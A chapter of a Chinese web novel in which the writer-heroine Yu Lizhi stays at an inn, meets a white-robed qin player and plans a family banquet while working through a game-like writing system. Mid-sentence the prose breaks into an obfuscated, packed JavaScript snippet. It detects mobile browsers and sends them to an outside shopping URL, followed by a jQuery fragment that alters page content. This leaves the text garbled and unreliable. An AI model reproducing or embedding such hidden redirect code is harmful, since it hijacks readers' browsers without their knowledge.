原是楚岚山。他不知从哪里得了消息,亦或是从一开始便躲在暗处一路随行,未曾让郁离枝兄妹二人察觉。 郁离枝看着楚岚山停了几息,手指微动,侍卫随即敏锐地进了烟香阁。 “为我拿来抽屉内的木匣,还有……书桌上放的几本我新买来的话本。帮我订一间上等客房,将东西好好拿来安放其间。” 郁离枝压低声音,用只有两人能听见的声息道。 楚岚山领了命,微一颔首,便迅速消失在幽深的街巷之中。 照郁无玦的架势,怕是今夜一整晚都要在这烟香阁,不醉不归。 明日若是伯父伯母回府,不若直接在这烟香阁设宴招待好了。 郁离枝打定了主意。那么接下来要做的事就是把她的办公用具带来了。 还好有楚岚山这个不会掉链子的忠心侍卫。 郁离枝正想着,忽然店面门口传来一阵不知名骚动。 楚岚山刚走没多久,门外是发生了何事?郁离枝抬眼望去。 只见门帘倏地被掀开,郁无玦大步一跨走了进来。 郁无玦在烟香阁的人脉可以说是炙手可热。酒席上伙计见人回来,纷纷举杯起身招呼。 金色穗帘晃动几下,正要服帖地落下,却突然被一双骨节白玉的手接住,继而缓缓掀开来。 一气质缥缈出尘的白衣男子现了身形,含笑的柳叶眉眼猝不及防地撞进郁离枝的眼睛里。 郁离枝端着茶杯的手微顿,忽而没来由地回想起白日在话本上见过的那一段段外貌描写—— “惊鸿一眼芙蓉面,花容月貌为谁妍。” 白衣男子与郁离枝短暂地眼神相接之后,向里面走去。身后,掌柜也掀帘弯腰走了进来。 白衣男子未在酒席上停留,而是径直走向台上。他坐在戏台之上先前已经架好的古琴之前,轻轻抚弦,几声琴音倾泻而出。 只是几声,便有艳压群芳之势。 “这人是……?”一个靠着戏台的年轻伙计看向戏台上男主犹疑问道,许是刚在烟香阁做事不久的新人。 “哎……”掌柜语气抑扬顿挫,忙喝止这有眼不识大佛的年轻伙计,嘘道,“这可是当今最负盛名的……” 一声铮然琴声倏地响起,似在肃清。 余音消散后,古琴后面的男子弯起柳眉,淡声道: “在下名唤陵镜听。不过一平平常常的琴艺师。” “哎!我们这烟香阁实属有幸,能再次请到镜听先生,聆听陵公子的佳音。我这烟香阁主,在此不胜感激……”掌柜诚惶诚恐道。 “掌柜,镜听他可不喜欢这套。你要真心感激,不若今日择一个最上等的客房给了他,那才叫有诚意呢……”郁无玦逢乱必出,打趣道。 掌柜忙不迭顺坡下驴,是是是好好好地安排客房。 名唤陵镜听的白衣公子又奏了几曲清音之后离了场。 几个伙计喝得烂醉如泥,被醉醺醺地扶回房休息了。 唯有酒量好到令人发指的郁无玦仍在席上,跟掌柜还有几个伙计天南海北地谈天。 几人来收了宴席上的残羹剩饭。 夜已渐深,饶是平日最繁华奢靡的烟香阁,现下也呈现出一副冷情之态。 见人已大多离席,郁离枝在郁无玦的招呼下坐到了戏台前的酒桌之上,跟郁无玦边吃酒边吃甜点。 “阿离今夜也不回府了?那不如明日设宴,就在这里招待阿嫣他们吧。” “如此也好。” “只是不知道伯父伯母那两个老古板来这种''不入流''的地方吃饭会不会把胡子气歪哦……到时候指不定又要指着我的鼻子骂''不肖子孙''了……” 郁无玦装模作样地话里暗含幽怨,实则模仿语气时嘴角已然压不住了。 “不然他们以为个个都跟阿嫣姐一样这么省心啊……须知阿嫣姐可是百年难遇的人中龙凤……” 郁离枝听着,为了不露馅只得框框给自己灌酒,佯装腾不出嘴来。 兄妹二人正有一搭无一搭地聊着,楚岚山无声无息地从店门进入,俯首在郁离枝身旁。 看来事已办妥,房已订好了。 于是郁离枝起身,告知郁无玦她已有些醉意疲乏,遂先行回房休息了。 回到客房,郁离枝掩了门,打开木匣中的黑色笔记本。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 【完成部分每日任务!获得绮缘之晶*20!】 说实话,关于剧情仍是一筹莫展。 郁离枝伏案思索了一会,仍是没有头绪,遂打开了背包,点开“雄竞扯头花”卡牌立绘。 毕竟这是她目前唯一能获取到的提示了。 就是这幅青衣男子与白衣男子对弈之图。 郁离枝锁眉用眼睛一寸寸扫视着这画面,力求不放过任何一个细节。 近了看,远了看。细细地看了,又去观全局。 看着看着,郁离枝眨了眨眼,无端在这一袭白衣的画中角色身上幻视了几分席上所见的陵镜听的风采。 或许,可以……? 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:2860!扣除后余额:2760!】 翻开的黑色笔记本全息投影之上,冰冷的机械音打断了郁离枝的思路。 明日还要宴请她那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202084|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素未谋面的名唤郁亦嫣的姐姐一家,而今日所剩的时间怎么看也不像是可以再写稿的了。 而且那个名叫陵镜听的白衣琴师……似乎也正住在烟香阁。或许,此事不必急于求之。 说一不二,郁离枝于是迅速吹熄了烛火,在比之郁府要略吵闹些的烟香阁客栈中,缓缓沉入了梦乡。 空气中混合着一丝朝露和清新晨光的气息,灰尘在客栈中缓缓扬动,在阳光照射下熠熠闪光。 郁离枝比以往更早地醒来了。她有些怀疑自己是不是睡觉认床。 但既然已经醒了就没有再睡回去的道理。郁离枝推开房门,十分戏剧性地一瞥看见相隔几个客房之外,一抹白衣飘逸如尘。 正是刚掩门欲外出的陵镜听。 “镜听,见过离枝姑娘。”陵镜听见了郁离枝,眉眼含笑,却是十二分的坦然。 郁离枝:……? 他认识我? “陵公子好。”郁离枝套上一副温婉熟络面容,温声笑道。 陵镜听经过郁离枝身侧时微一点头当做回应。 “离枝姑娘,午时家宴时再见。镜听现下约了人,先失陪了。” 郁离枝得体地温婉点头。 看来昨夜郁无玦已经把家宴一事告知陵镜听了。 郁离枝下楼,点了些茶点吃食作为早点。 店内伙计许是昨夜喝酒宿醉了,一眼望去烟香阁内人还不多,只有三三两两食客。 待填饱肚子,郁离枝又折回了客房。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 对于“雄竞扯头花”这一剧情卡,郁离枝心里已经有了一个大概的雏形。 陵镜听的身份太合适了。善琴曲,模样也比之暮云逸丝毫不差。 但是她拿不准的是,这个方向是否正确。 于是她伸手摸向昨夜楚岚山带来的话本—— 先看看这本叫做《娇醋》的话本吧。虽然是一男多女,但郁离枝估计剧情这种事也是万变不离其宗。 看剧情,大概是个写妙龄少女看心上人被同门追求遂故而堂而皇之吃味的话本。 郁离枝迅速翻动书页,眼睛抓取了几句关键台词: “哼,她既那么好,那你去找她去吧!”撂下这一句话,扎着羊角辫的少女把那状似河豚的脸一别,不理男主兀自生气去了。 男主:会心一击。 郁离枝实事求是地凝眉思索:这种桥段如果放在暮云逸身上……她有点想象无能。 “这个桂花糕……是我、是我熬夜花了好久做出来的,给你!才、才不是为了做得比她更好呢!只是想让你记住……记住最甜最好吃的桂花糕是我做的!”娇俏少女顶着乌青眼圈,色厉内荏道。 男主:那还说啥了。甜甜甜,香香香! 好标准的傲娇啊。古代人也吃傲娇这一口吗? 郁离枝合了书,她还是判断错了形势。看来女性的争风吃醋跟“雄竞扯头花”这一概念还是有别的,是她想当然了。 那还是按照她心里的那个框架先写出来吧,是与非都交由审稿系统判断去吧。 郁离枝刚合了书,却听见客栈楼下,也就是烟香阁门外,响起一阵马蹄之声。 马蹄声停在烟香阁门口,随之而起的是街巷上的人言嘈杂和骚动之声。 郁离枝被吸引去了注意力,把琉璃窗户打开了一个缝隙,向下望去。 只见制式奢华的马车之上,一对身着锦服的中年夫妻神情严肃地走了下来。 后面跟着的一架稍小的马车之上,一衣饰华贵的年轻女子也随之走下。 那女子眉目艳丽,眼神里含着一股傲然之色,冷冷看了看“烟香阁”这挂在门上的三个大字牌匾,举止矜贵地迈入了烟香阁。 只是看见前面两夫妻熟悉的衣服制式,郁离枝就已经可以得出,这便是伯父伯母一家了。 那么那个年轻女子,便是她的姐姐,郁亦嫣了。 郁离枝无暇多想,迅速掩了窗出门下楼,去接她的长姐一家。